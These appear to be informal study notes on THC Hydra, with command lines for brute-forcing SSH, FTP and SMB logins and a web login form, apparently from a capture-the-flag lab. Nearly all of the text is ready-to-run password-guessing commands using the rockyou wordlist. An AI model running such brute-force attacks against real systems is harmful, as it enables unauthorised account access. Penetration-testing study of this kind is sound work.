Hydra

SSH

for single username

hydra -l root -P /usr/share/wordlist/rockyou.txt -vV $Target_IP ssh

for custom ssh port -s 2222

hydra -l root -P /usr/share/wordlist/rockyou.txt -vV $Target_IP -s 2222 ssh

for uname and password both

hydra -L /usr/share/wordlist/rockyou.txt -P /usr/share/wordlist/rockyou.txt -vV $Target_IP ssh

my hydra guide https://securitytutorials.co.uk/brute-forcing-passwords-with-thc-hydra/ hydra -U http-post-form to check out specific module related more options hydra -L /path/to/usernames.txt -P /path/to/passlist.txt ssh://ip

there are various ways to mention the kind of attack at last you can mention the service://ip

like ftp://ip or ssh://ip or smb://ip to target default ports of theese services hydra -l milesdyson -P log1.txt 10.10.172.10 -V http-post-form "/squirrelmail/src- redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=password incorrect" -f -l single username -L list of usernames same for -p and -P

-p password

-P list of file containing passswords -V for verbosity show the combinations being tried http-post-form or http-get-form “targeturlparth:postformwith user and pass tags:F=how failed attempt looks like” -f to stop when done :F= :S= to tell how success attempt looks like

hydra -l georgia -P passslist.txt <$ipadress of target> <$portuwanttoattack>

-l single userrname

-L file of usernames

-p single password

-P file of password